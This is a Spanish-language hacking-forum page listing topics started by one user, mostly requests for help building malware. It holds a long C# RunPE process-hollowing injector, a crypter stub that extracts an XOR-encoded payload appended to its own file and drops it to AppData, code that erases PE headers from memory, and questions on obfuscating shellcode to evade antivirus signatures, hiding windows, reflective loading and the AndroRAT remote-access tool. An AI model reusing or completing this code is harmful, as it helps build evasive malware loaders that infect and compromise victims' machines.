Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Borito30

#1
Software / Algun activador windows 7 limpio
31 Julio 2018, 23:48 PM
Algun activador windows 7 limpio
#2
Mensajería / Grupo telegram hacking group
10 Mayo 2018, 22:39 PM
Un simple grupo que hice para los que aprendemos
https://t.me/joinchat/I2xUTxAUcsNr0H1RDArPzQ

.. salu2 ..
#3
Hacking / como hackeo el bitcoin
8 Mayo 2018, 03:56 AM
alguna formula posible de hacer bitcoin rapido horandamente
#4
Mi pregunta es.
El biterrant que es lo que hace coger dos 2 pdf que tienen la misma firma y generar un ejecutable que funciona con esa firma? O solamente genera dos ficheros diferente pero con la misma firma?
#5
quiero alterar los datos pero de algun ejemplo practico
alguien lo intento?
#6
intente con upx pero no fue seria posible?
#7
ya tengo un poco de experiencia con shellcodes , pasarlos a asm ofucar etc, pero mi pregunta es puedo ofuscar el asm y luego pasarlo a hexadecimal para barrer las firmas?
#8
alguien tiene alguno x ai y como lo porto a hexadecimal  :-\
#9
Aqui os dejo las recompensas para aquellos que consigas alguna vulnerabilidad en chrome.
https://www.google.com/about/appsecurity/chrome-rewards/
;D Saludos.
#10
GNU/Linux / lionsec sistema operativo?
26 Febrero 2018, 19:57 PM
algie nsabe si lionsec 5.0 trae cobalt strike ya incluido?
#11
Bugs y Exploits / ie drive by pregunta
21 Febrero 2018, 02:57 AM
hola no entiendo muy bien porque el nuevo ie drive by fallo que descubrieron esta con cna alguien investigo sobre el tema
#12
No os ha pasado muchas veces que te topas con eltipico pregonero repite lo mismo y lo mismo hasta que te hace cabrear  >:(
o el tipico idiota que no sabe diferenciar y acusa sin pruebas y luego cuando le muestras la prueba sigue pregonando.
O el tipico imbecil que te da largas para perderte el tiempo  :rolleyes:
que opinan de esta gente  :P
#13
tengo una aplicacion remota basada en xmpp que me gustaría publicar pero no sé si esta permitido. :huh:
--
perdon tenia que haber formulado la pregunta en dudas sobre el foro. mis disculpas.
#14
el fichero
http://b.reich.io/gdbkaa.rar

Proteccion

[RAR BlowFish]
Password RAR(BASE64<==>ATOM128)


la pass:

YnhoNWd4aDVNaWNoTEk2Sg==

Alguien me puede ayudar a recuperar el fichero??
#15
Foro Libre / alguna alternativa a wirex?
31 Enero 2018, 21:58 PM
ola usaba estas tarjetas virtuales pero ya no funciona wirex alguien sabe alguna alternativa aunk sea con btc? :huh:
#16
En la anterior pregunta no me explique bien lo que estoy buscando es alguna manera de usar mis librerias como recurso embedido en lugar de referencias como cuando uno usa ilmerge pero para c++- Es decir por ejemplo tengo varias dependencias en c++ nativo y quiero que estas dependencias sean incorporadas al fichero como recurso embebido en mi proyecto/programa en c++. Es posible alguna manera facil de resolver estas dependencias como uno en net pero solamente en nativo/managed? Lei sobre costura/fuddy/resource embedder pero no estoy seguro si funcionará en mi proyecto en c++?

necesito que sea recurso no libreria estatica! alguna solucion ! para c++?
saludosss
#17
Ingeniería Inversa / crackear este autoit?
13 Enero 2018, 11:47 AM
hola estaba intentando crackear este autoit
http://ge.tt/7vr3W5o2

Pero el problema esque no consigo decompilarlo usando exe2aut.
Pienso porque tenga varias dll.
alguien entiende mas de esto?
#18
mi pregunta es muchas veces veo en ciertos foros que banean a los mismos usuarios a pesar de tener ip diferentes. la cosa es que por medio de la isp es como llegan a concluir que ese usuario es la misma persona? la pregunta es hay alguna forma de saber que un usuario que cambia su ip y se crea una cuenta nueva es la misma persona? en ese caso como? por su isp? su pais?  :huh:
#19
la pregunta es que tan dificil sería por no decir imposible si hay ofuscado de por medio.
#20
Seguridad / alertar a un usuario
1 Agosto 2017, 15:08 PM
Hola es posible sabiendo solamente la ip alertar un usuario o por medio del isp llegar a ponerse en contacto con el?
#21
Nivel Web / buscar bugs en mi servidor web
18 Junio 2017, 06:21 AM
Hola estoy testeando (de forma legal por supuesto en mi servidor web) para buscar bugs o fallos
y no tengo casi ni idea al respecto. algunas herramientas o consejos para poder profundizar en el tema.
Aparte uso siempre las herramientas que trae el navegador para examinar las peticiones http.. algunos consejos o herramientas utiles para esto?
#22
Alguien sabe algun conversor que me convierta un shellcode en assembly¿? online?
#23
la cosa esta que para el hacking a nivel de aplicacion, aprender cracking esta bien, igual que aprender programación.
Pero la cuestión es en que uno sería mejor especializarse, en el cracking, revertir la seguridad de programas legitimos. revertir la seguridad en general de cualquier aplicacion o programar..
La cuestión es un hacker sería un genio del cracking, ademas de un experto en seguridad web o al contrario un genio de la programación y un experto de la seguridad web. !A nivel de aplicación que es mejor¡ ser un gran hacker saber mucho cracking? o programacion?
#24
He estado buscando codigo y tal pero siempre me he quedado con eso con el malestar de no entender ni poder abrir o retocar las tripas de los ejecutables.
Tengo claro lo que es el entry point, virtual addreas, rva, etc.. pero todavía en la practica me cuesta mucho ir tocando eso, añadir shellcodes, etc , me podrían dar consejos, tal vez deba replantearme  y profundizar más, entender más la teoría y practicar más ingenieria versa, pero por supuesto entender. Algun consejo para poder dominar esta materia?
#25
Hola estaba intentando pasar este runpe:
https://pastebin.com/Ziqk57Qn

a C#, quedando algo así:
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Reflection;
using System.Runtime;
using Microsoft.VisualBasic;
using System.Collections;
using System.Collections.Generic;
using System.Data;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace skip
{
static class MenaPE
{
    [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]

    //------------------------------
    //Title: MenaPE (RunPE Class)
    //Author: Menalix
    //Website: Menalix.com
    //Notice: For teaching purposes
    //------------------------------

    #region "Static API Calls"

    public static extern IntPtr LoadLibraryA(string Name);
    [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
    public static extern IntPtr GetProcAddress(IntPtr hProcess, string Name);
    #endregion

    #region "Dynamic API Caller"

    private static T CreateApi<T>(string Name, string Method)
    {
        return (T)(object)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(Name), Method), typeof(T));
    }

    #endregion

    #region "Dynamic API's"

    private delegate bool ReadProcessMemoryParameters(IntPtr hProcess, IntPtr lpBaseAddress, ref uint lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
    static readonly ReadProcessMemoryParameters ReadProcessMemory = CreateApi<ReadProcessMemoryParameters>("kernel32", "ReadProcessMemory");

    private delegate bool CreateProcessParameters(string ApplicationName, string CommandLine, IntPtr ProcessAttributes, IntPtr ThreadAttributes, bool InheritHandles, uint CreationFlags, IntPtr Environment, string CurrentDirectory, ref STARTUPINFO StartupInfo, ref PROCESS_INFORMATION ProcessInformation);
    static CreateProcessParameters CreateProcess = CreateApi<CreateProcessParameters>("kernel32", "CreateProcessA");

    private delegate uint NtQueryInformationProcessParameters(IntPtr hProcess, int ProcessInformationClass, ref PROCESS_BASIC_INFORMATION ProcessInformation, uint ProcessInformationLength, ref uint ReturnLength);
    static readonly NtQueryInformationProcessParameters NtQueryInformationProcess = CreateApi<NtQueryInformationProcessParameters>("ntdll", "NtQueryInformationProcess");

    private delegate bool GetThreadContext64Parameters(IntPtr hThread, ref CONTEXT32 lpContext);
    static GetThreadContext64Parameters GetThreadContext64 = null;

    private delegate bool IsWow64ProcessParameters(IntPtr hProcess, ref bool Wow64Process);
    static readonly IsWow64ProcessParameters IsWow64Process = CreateApi<IsWow64ProcessParameters>("kernel32", "IsWow64Process");

    private delegate bool WriteProcessMemoryParameters(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
    static readonly WriteProcessMemoryParameters WriteProcessMemory = CreateApi<WriteProcessMemoryParameters>("kernel32", "WriteProcessMemory");

    private delegate uint NtUnmapViewOfSectionParameters(IntPtr hProcess, IntPtr pBaseAddress);
    static readonly NtUnmapViewOfSectionParameters NtUnmapViewOfSection = CreateApi<NtUnmapViewOfSectionParameters>("ntdll", "NtUnmapViewOfSection");

    private delegate IntPtr VirtualAllocExParameters(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    static readonly VirtualAllocExParameters VirtualAllocEx = CreateApi<VirtualAllocExParameters>("kernel32", "VirtualAllocEx");

    private delegate uint ResumeThreadParameters(IntPtr hThread);
    static readonly ResumeThreadParameters ResumeThread = CreateApi<ResumeThreadParameters>("kernel32", "ResumeThread");

    #endregion

    #region "API Structures"
    private struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }
    private struct STARTUPINFO
    {
        public uint cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        [System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst = 36)]
        public byte[] Misc;
        public byte lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }
    public struct FLOATING_SAVE_AREA
    {
        public uint Control;
        public uint Status;
        public uint Tag;
        public uint ErrorO;
        public uint ErrorS;
        public uint DataO;
        public uint DataS;
        [System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst = 80)]
        public byte[] RegisterArea;
        public uint State;
    }
    public struct CONTEXT32
    {
        public long ContextFlags;
        public uint Dr0;
        public uint Dr1;
        public uint Dr2;
        public uint Dr3;
        public uint Dr6;
        public uint Dr7;
        public FLOATING_SAVE_AREA FloatSave;
        public uint SegGs;
        public uint SegFs;
        public uint SegEs;
        public uint SegDs;
        public uint Edi;
        public uint Esi;
        public uint Ebx;
        public uint Edx;
        public uint Ecx;
        public uint Eax;
        public uint Ebp;
        public uint Eip;
        public uint SegCs;
        public uint EFlags;
        public uint Esp;
        public uint SegSs;
        [System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst = 512)]
        public byte[] ExtendedRegisters;
    }
    public struct PROCESS_BASIC_INFORMATION
    {
        public IntPtr ExitStatus;
        public IntPtr PebBaseAddress;
        public IntPtr AffinityMask;
        public IntPtr BasePriority;
        public IntPtr UniqueProcessID;
        public IntPtr InheritedFromUniqueProcessId;
    }
    #endregion

    #region "Injection"

    public static bool Run(string path, byte[] payload, uint creationflag)
    {
        for (int I = 1; I <= 5; I++)
        {
            if (HandleRun(path, payload, creationflag))
                return true;
        }
        return false;
    }

    private static bool HandleRun(string Path, byte[] payload, uint creationflag)
    {
        IntPtr nullPtr = IntPtr.Zero;

        uint ReadWrite = 0;
        string QuotedPath = string.Format("\"{0}\"", Path);

        STARTUPINFO SI = new STARTUPINFO();
        PROCESS_INFORMATION PI = new PROCESS_INFORMATION();

        SI.cb = Convert.ToUInt32(System.Runtime.InteropServices.Marshal.SizeOf(typeof(STARTUPINFO)));
        //Parses the size of the structure to the structure, so it retrieves the right size of data

        try
        {
            //COMMENT: Creating a target process in suspended state, which makes it patch ready and we also retrieves its process information and startup information.
            if (!CreateProcess(Path, QuotedPath, IntPtr.Zero, IntPtr.Zero, true, creationflag, IntPtr.Zero, Directory.GetCurrentDirectory(), ref SI, ref PI))
                throw new Exception();

            //COMMENT: Defines some variables we need in the next process
            PROCESS_BASIC_INFORMATION ProccessInfo = new PROCESS_BASIC_INFORMATION();
            uint RetLength = 0;
            dynamic Context = null;
            int? PEBAddress32 = null;
            Int64? PEBAddress64 = null;
            bool TargetIs64 = false;
            bool IsWow64Proc = false;

            IsWow64Process(PI.hProcess, ref IsWow64Proc);
            //COMMENT: Retrieves Boolean to know if target process is a 32bit process running in 32bit system, or a 32bit process running under WOW64 in a 64bit system.
            //COMMENT: Checks the Boolean retrieved from before OR checks if our calling process is 32bit
            if (IsWow64Proc | IntPtr.Size == 4)
            {
                Context = new CONTEXT32();
                Context.ContextFlags = 0x1000002L;
                //COMMENT: Parses the context flag CONTEXT_AMD64(&H00100000L) + CONTEXT_INTEGER(0x00000002L) to tell that we want a structure of a 32bit process running under WOW64, you can see all context flags in winnt.h header file.
                //COMMENT: Checks if our own process is 64bit and the target process is 32bit in wow64
                if (IsWow64Proc && IntPtr.Size == 8)
                {
                    GetThreadContext64 = CreateApi<GetThreadContext64Parameters>("kernel32", "Wow64GetThreadContext");
                    //COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
                    if (!GetThreadContext64(PI.hThread, Context))
                        throw new Exception();
                    Console.WriteLine(Context.Ebx);
                    PEBAddress32 = Context.Ebx;
                    TargetIs64 = false;
                    //COMMENT: If our process is 32bit and the target process is 32bit we get here.
                }
                else
                {
                    NtQueryInformationProcess(PI.hProcess, 0, ref ProccessInfo, (uint)System.Runtime.InteropServices.Marshal.SizeOf(ProccessInfo), ref RetLength);
                    //COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
                    Marshal.PtrToStructure( ProccessInfo.PebBaseAddress,  PEBAddress32 );
                    TargetIs64 = false;
                }
                //COMMENT: If our process is 64bit and the target process is 64bit we get here.
            }
            else
            {
                NtQueryInformationProcess(PI.hProcess, 0, ref ProccessInfo, (uint)System.Runtime.InteropServices.Marshal.SizeOf(ProccessInfo), ref RetLength);
                //COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
                Marshal.PtrToStructure(ProccessInfo.PebBaseAddress, PEBAddress64);
                TargetIs64 = true;
            }


            uint  BaseAddress = 0;
            IntPtr PEBAddress64ptr = nullPtr;
            IntPtr PEBAddress32ptr = nullPtr;

            if (TargetIs64 == true)
            {

                Marshal.StructureToPtr(PEBAddress64 + 0x10, PEBAddress64ptr, true);
                ReadProcessMemory(PI.hProcess, PEBAddress64ptr, ref BaseAddress, 4, ref ReadWrite);
                //COMMENT: Reads the BaseAddress of a 64bit Process, which is where the exe data starts
            }
            else
            {
                Marshal.StructureToPtr(PEBAddress32 + 0x08, PEBAddress32ptr, true);
                ReadProcessMemory(PI.hProcess, PEBAddress32ptr , ref BaseAddress, 4, ref ReadWrite);
                //COMMENT: Reads the BaseAddress of a 32bit Process, which is where the exe data starts
            }

            bool PayloadIs64 = false;
            int dwPEHeaderAddress = BitConverter.ToInt32(payload, 0x3c);
            //COMMENT: Gets the PEHeader start address
            int dwNetDirFlags = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x398);
            //COMMENT: Gets the .NET Header Flags value to determine if its a AnyCPU Compiled exe or not
            int wMachine = BitConverter.ToInt16(payload, dwPEHeaderAddress + 0x4);
            //COMMENT: Gets the reads the Machine value

            if (wMachine == 8664)
            {
                PayloadIs64 = true;
                //Checks the Machine value to know if payload is 64bit or not"
            }
            else
            {
                PayloadIs64 = false;
            }

            if (PayloadIs64 == false)
            {
                //To make sure we don't rewrite flags on a Payload which is already AnyCPU Compiled, it will only slow us down
                if (dwNetDirFlags == 0x3)
                {
                    Buffer.SetByte(payload, dwPEHeaderAddress + 0x398, 0x1);
                    //Replaces the .NET Header Flag on a 32bit compiled payload, to make it possible doing 32bit -> 64bit injection
                }
            }

            int dwImageBase = 0;
            if (PayloadIs64 == true)
            {
                dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x30);
                //Reads the ImageBase value of a 64bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual addressstart location for our exe in its own memory space
            }
            else
            {
                dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x34);
                //Reads the ImageBase value of a 32bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual address start location for our exe in its own memory space
            }

            //COMMENT: If the BaseAddress of our Exe is matching the ImageBase, it's because it's mapped and we have to unmap it
            if (dwImageBase == BaseAddress)
            {
                IntPtr BaseAddressptr = new IntPtr();
                Marshal.StructureToPtr(BaseAddress, BaseAddressptr, true);
                if (!(NtUnmapViewOfSection(PI.hProcess, BaseAddressptr) == 0))
                    throw new Exception();
                //COMMENT: Unmapping it
            }

            int dwSizeOfImage = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x50);
            IntPtr dwImageBaseptr = new IntPtr();
            Marshal.StructureToPtr(dwImageBase, dwImageBaseptr, true);
            IntPtr dwNewImageBase = VirtualAllocEx(PI.hProcess, dwImageBaseptr, (uint)dwSizeOfImage, 0x3000, 0x40);
            //COMMENT: Makes the process ready to write in by specifying how much space we need to do it and where we need it

            if (dwNewImageBase == nullPtr)
                throw new Exception();

            int dwSizeOfHeaders = BitConverter.ToInt32(payload, dwPEHeaderAddress + 0x54);

            IntPtr payloadptr = Marshal.AllocHGlobal(payload.Length);
            Marshal.Copy(payload, 0, payloadptr, payload.Length);
            if (!WriteProcessMemory(PI.hProcess, dwNewImageBase, payloadptr, (uint)(dwSizeOfHeaders & 0x7FFF), ref ReadWrite))
                throw new Exception();
            //Writes the size of the payloads PE header to the target

            //COMMENT: This is here where most of the magic happens. We write in all our sections data, which contains our resssources, code and the information to utilize the sections: VirtualAddress, SizeOfRawData and PointerToRawData
            short SizeOfOptionalHeader = BitConverter.ToInt16(payload, dwPEHeaderAddress + 0x14);
            int SectionOffset = dwPEHeaderAddress + (0x16 + SizeOfOptionalHeader + 0x2);
            short NumberOfSections = BitConverter.ToInt16(payload, dwPEHeaderAddress + 0x6);
            for (int I = 0; I <= NumberOfSections - 1; I++)
            {
                int VirtualAddress = BitConverter.ToInt32(payload, SectionOffset + 0xc);
                uint SizeOfRawData = BitConverter.ToUInt32(payload, SectionOffset + 0x10);
                int PointerToRawData = BitConverter.ToInt32(payload, SectionOffset + 0x14);
                if (!(SizeOfRawData == 0))
                {
                    IntPtr SectionDataptr = Marshal.AllocHGlobal((int)SizeOfRawData);
                    Marshal.Copy(payload, 0, SectionDataptr, (int)SizeOfRawData);
                    if (!WriteProcessMemory(PI.hProcess, dwNewImageBase + VirtualAddress, SectionDataptr, SizeOfRawData, ref ReadWrite))
                        throw new Exception();
                }
                SectionOffset += 0x28;
            }

            //byte[] PointerData = BitConverter.GetBytes(dwNewImageBase);
            if (TargetIs64 == true)
            {
                if (!WriteProcessMemory(PI.hProcess, PEBAddress64ptr, dwNewImageBase, 4, ref ReadWrite))
                    throw new Exception();
                //Writes the new etrypoint for 64bit target
            }
            else
            {
                if (!WriteProcessMemory(PI.hProcess, PEBAddress32ptr + 0x8, dwNewImageBase, 4, ref ReadWrite))
                    throw new Exception();
                //Writes the new entrypoint for 32bit target
            }
            if (ResumeThread(PI.hThread) == 0xFFFFFFFF)
                throw new Exception();
            //Resumes the suspended target with all its new exciting data

        }
        catch (Exception ex)
        {
            Console.WriteLine(ex);
            Process P = Process.GetProcessById(Convert.ToInt32(PI.dwProcessId));
            if (P != null)
                P.Kill();
            return false;
        }

        return true;
    }
    #endregion

}
}

pero el problema ahora esta en que al traducirlo me ha pasado a marshall struct pero todos me marcan los mismos errores:
System.ArgumentNullException: Value cannot be null.
Parameter name: structure
   at System.Runtime.InteropServices.Marshal.PtrToStructureHelper(IntPtr ptr, Ob
ject structure, Boolean allowValueClasses)
   at System.Runtime.InteropServices.Marshal.PtrToStructure(IntPtr ptr, Object s
tructure)
   at skip.MenaPE.HandleRun(String Path, Byte[] payload, UInt32 creationflag) in
c:\Users\Androide\Desktop\ - Copy - Copy\Stub\MenaPE.cs:line 220


he intentando convertir a enteros pero hago uso de punteros, por lo que al final devuelven el mismo error, tendría que redefinir todo de nuevo o que me aconsejais¿ que opinais del código esta mal programado¿
#26
Sobre este tema no se habla mucho y por eso lo traigo aquí, a día de hoy la homosexualidad como avanzado la sociedad ya es algo natural cada individuo es libre mientras no dañe al otro. Pero a día de hoy son pocos los países que han aprobado el matrimonio entre homosexuales ¿Que piensan deben incluirse leyes para poder permitirse el matrimonio entre ambos, obviamente yo pienso que si ya que todas las personas somos iguales. Es un pequeño debate. saludos.
#27
Ataque aéreo de EEUU deja otros 35 civiles muertos en Siria.

35 civiles que nadie los recordará sumado a los cientos de miles que llevan ya muertos.
#28
Hola mi pregunta es sobre todo en los for se me hace complicado y en el stream. El completo código sería:
Código (csharp) [Seleccionar]
namespace skip
{
   static class Program
   {
       [STAThread]
       static void Main()
       {
           Application.EnableVisualStyles();
           Application.SetCompatibleTextRenderingDefault(false);
           //Application.Run(new Form1());

           byte[] file =
 File.ReadAllBytes(System.Reflection.Assembly.GetExecutingAssembly().Location);

           var position = PatternAt(file, Encoding.ASCII.GetBytes("BLAUMOLAMUCHO"));

           int longitudSeparador = Encoding.ASCII.GetBytes("BLAUMOLAMUCHO").Length;

           byte[] encodedBytes = new byte[file.Length - position.First()-longitudSeparador];
           Array.Copy(file, position.First()+ longitudSeparador, encodedBytes, 0, file.Length - position.First()-longitudSeparador);

           //ruta del fichero embebido
           string tempPath = System.IO.Path.GetTempPath();
           string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
           //var stream
           Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("Manifest");
           //Console.WriteLine(stream);
           FileStream fileStream = new FileStream(appDataPath+ @"\tola.exe", FileMode.Create, FileAccess.Write);
           for (int i = 0; i < stream.Length; i++)
               fileStream.WriteByte((byte)stream.ReadByte());
           fileStream.Close();
           RunInternal(appDataPath + @"\tola.exe", "1234");
        }




       private static void RunInternal(string exeName, String pass)
       {
           //Verify the Payload exists
           if (!File.Exists(exeName))
               return;

           //Read the raw bytes of the file
           byte[] resourcesBuffer = File.ReadAllBytes(exeName);

           byte[] decryptedBuffer = resourcesBuffer;




           //If .NET executable -> Run
           if (System.Text.Encoding.ASCII.GetString(decryptedBuffer).Contains("</assembly>")) //Esto devuelve false
           {

           }
           else
           {
               //Console.WriteLine(Encoding.ASCII.GetString(decryptedBuffer));
              //Console.ReadKey();
           }

       }

       /// <summary>
       /// Decrypt the Loaded Assembly Bytes
       /// </summary>
       /// <param name="payload"></param>
       /// <returns>Decrypted Bytes</returns>
       /// algoritmo xor
       private static byte[] decryptBytes(byte[] bytes, String pass)
       {
           byte[] XorBytes = Encoding.Unicode.GetBytes(pass);

           for (int i = 0; i < bytes.Length; i++)
           {
               bytes[i] ^= XorBytes[i % XorBytes.Length];
           }

           return bytes;
       }
   }
}


Por lo menos si no quereis indicarlo enterlo simplemente con los for y el streamer sería suficiente para comprender mejor las diferencias. gracias.
#29
Mi pregunta es como puedo hacer para ocultar el formulario sin que apareciese, ya que al ponerlo como consola tampoco es lo que busco. Entonces mi pregunta es hay alguna manera de ocultar el formulario en caso de que no fuese necesario? He intentado con opacity,incluso con Hide:

Me.Hide()
Como podría hacer para que no sea visible.

Saludos.
#30
Hola estoy intentando borrar la cabecera en .NET el método que encontré por internet y que usan es:
Código (csharp) [Seleccionar]
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;


namespace ConsoleApplication9
{
   class Program
   {
       [DllImport("kernel32.dll")]
       public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
       [DllImport("kernel32.dll", SetLastError = true)]
       static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
       [DllImport("kernel32.dll", SetLastError = true)]
       //static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
       static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesWritten);
       [DllImport("kernel32.dll")]
       public static extern IntPtr GetModuleHandle(string lpModuleName);
       private static int ErasePEHeader() // hModule = Handle to the module, procName = Process name (eg. "notepad")
{
   byte[] imagentheaderptr = new byte[4];
   byte[] Stub = new byte[120];
   byte[] Stub2 = new byte[0x108];
   int Out=0, Out2=0;

           IntPtr hModule = GetModuleHandle(null);
           
           string procName = System.Reflection.Assembly.GetExecutingAssembly().GetName().Name;
           procName = procName;
           Console.WriteLine(hModule + "," + procName);

           IntPtr proc = OpenProcess(0x001F0FFF, false, System.Diagnostics.Process.GetProcessesByName(procName)[0].Id);
   IntPtr IMAGE_NT_HEADER = new IntPtr((hModule.ToInt32() + 60)), out2 = IntPtr.Zero;
   ReadProcessMemory(proc, IMAGE_NT_HEADER, imagentheaderptr, 4, out out2);
   if ((WriteProcessMemory(proc, hModule, Stub, 120, ref Out) == true) && (WriteProcessMemory(proc, hModule, Stub2, 0x100, ref Out2) == true)) return Out + Out2;
   else return 0;
}
       static void Main(string[] args)
       {
           int a = ErasePEHeader();
           Console.WriteLine(a);
           Console.ReadKey();
       }
   }
}

Pero siempre me devuelve 0 o falso. ¿Alguien que me pueda explicar porque nunca la borra?
#31
Hola estaba viendo una pequeña función por internet que me permite borrar la cabecera, el fichero.cpp es:
VOID ErasePEHeaderFromMemory()
{
_tprintf(_T("[*] Erasing PE header from memory\n"));
DWORD OldProtect = 0;

// Get base address of module
char *pBaseAddr = (char*)GetModuleHandle(NULL);

// Change memory protection
VirtualProtect(pBaseAddr, 4096, // Assume x86 page size
PAGE_READWRITE, &OldProtect);

// Erase the header
SecureZeroMemory(pBaseAddr, 4096);
}

int main(){
// como puedo borrar mi cabecera en base a mi función
}


Y luego el fichero.h:
VOID ErasePEHeaderFromMemory();

Pero mi pregunta es como puedo aplicarlo a un ejemplo práctico. Supongo que tendré que obtener el base address de mi ejecutable y después usarlo en mi funcion?? Alguna sugerencia??
#32
Java / Obtener la ip de un dominio con java
25 Mayo 2017, 17:01 PM
Hola estaba intentando obtener la ip de un dominio usando inetaddress lo que hago es:

InetAddress giriAddress = InetAddress.getByName("www.girionjava.com");
Pero cuando lo hago me devuelve los siguientes errores:

Description Resource    Path    Location    Type
The type java.lang.Object cannot be resolved. It is indirectly referenced from required .class files    ProcessCommand.java /ActivityAndrorat/src/my/app/activityclient line 1  Java Problem
Default constructor cannot handle exception type UnknownHostException thrown by implicit super constructor. Must define an explicit constructor LauncherActivity.java   //src/my/app/client line 26 Java Problem
The project was not built since its build path is incomplete. Cannot find the class file for java.lang.Object. Fix the build path then try building this project    ActivityAndrorat        Unknown Java Problem
The type sun.management.OperatingSystemImpl is not visible  VideoPanel.java //src/gui/panel   line 36 Java Problem

Aunque incorpore la librería inetaddress a mi proyecto sigue sin funcionar ¿cómo podría incluirlo correctamente para poder obtener la dirección IP del dominio y luego hacer la conversión a string?

La captura de que agregue la librería Java correctamente:
#33
Se puede usar edge en windows 7? Y si se puede como. gracias.
#34
Hola mi pregunta es como puedo cargar un assembly ya sea una dll o binario usando la reflexión, normalmente para cargar un assembly lo hago de la siguiente manera:

Código (csharp) [Seleccionar]
//Load the bytes as an assembly
Assembly exeAssembly = Assembly.Load(decryptedBuffer);

//Execute the assembly
object[] parameters = new object[1];                
exeAssembly.EntryPoint.Invoke(null, parameters);

Pero ahora estaba intentandolo usando la reflexión para ello hice lo siguiente:

Código (csharp) [Seleccionar]
typeof(Assembly).GetMethod("Load").Invoke(null,new object[] {decryptedBuffer});
Cuando lo hago del primer modo funciona bien. Pero cuando uso el siguiente método(usando solo reflexión) me devuelve el siguiente error:

   typeof(Assembly).GetMethod("Load").Invoke(null,new object[] {decryptedBuffer});
Problem signature:
 Problem Event Name:   CLR20r3
 Problem Signature 01: Proof.exe
 Problem Signature 02: 1.0.0.0
 Problem Signature 03: 591f941f
 Problem Signature 04: mscorlib
 Problem Signature 05: 4.6.1590.0
 Problem Signature 06: 5787ed44
 Problem Signature 07: 1037
 Problem Signature 08: 60
 Problem Signature 09: System.Reflection.AmbiguousMatch
 OS Version:   6.1.7601.2.1.0.256.1
 Locale ID:    3082
 Additional Information 1: 0a9e
 Additional Information 2: 0a9e372d3b4ad19135b953a78882e789
 Additional Information 3: 0a9e
 Additional Information 4: 0a9e372d3b4ad19135b953a78882e789

Read our privacy statement online:
 http://go.microsoft.com/fwlink/?linkid=104288&clcid=0x0409

If the online privacy statement is not available, please read our privacy statement offline:
 C:\Windows\system32\en-US\erofflps.txt

A que se debe este error? Pregunto porque he visto varios artículos relacionados con esto y quería entender porque en este caso porque no ha funcionado.

Estaba intentando llamar al assembly load usando la reflexión pero no entiendo porque una versión si funciona y la otra no como podría compatibizarla para que funcionase / cargando el assembly load de modo reflectivo?
#35
Hola estuve buscando alguna aplicación remota simplemente con fines educativos es decir desde mi movil toquetearlo un poco y tal y bueno según lo que vi recomiendan androrat. Así que decidi bajarme el source que esta en github.
Es el recomendable para esto? En mi caso me gustaría tocatear el source que supongo vendrá en java, tendré que usar eclipse y empezar a ver por dentro como funciona. Bueno salu2 ya que veo poca informacion al respecto.

Fuente:
https://github.com/mirkoBastianini/AndroRAT
#36
Va estaba intentando cambiar un crypter para que lo haga directamente del stub el problema es el sigiente.
no sé como podría juntar dos byte arrays con un delimitador  y que cuando arranque mi programa sea capaz de obtenerlos por medio de un split.
el código es el siguiente.
//Everything seems fine -> Reading bytes
Console.WriteLine("[*] Reading Data...");
byte[] plainBytes = File.ReadAllBytes(file);

//Yep, got bytes -> Encoding
Console.WriteLine("[*] Encoding Data...");
byte[] encodedBytes = encodeBytes(plainBytes, pass);

Console.WriteLine("[*] Save to Output File... ");

//Leer el fichero
Console.WriteLine("[*] Reading fichero...");
byte[] Stub = File.ReadAllBytes("rutafichero");

// ::: Create new List of bytes
var list = new List<byte>();
list.AddRange(encodedBytes);
list.AddRange(Stub);

// ::: Call ToArray to convert List to array
byte[] resultado = list.ToArray();

//write bytes
File.WriteAllBytes(outFile, resultado);

//File.WriteAllBytes(outFile, encodedBytes);
Console.WriteLine("Done!");

Console.WriteLine("\n[*] File successfully encoded!");

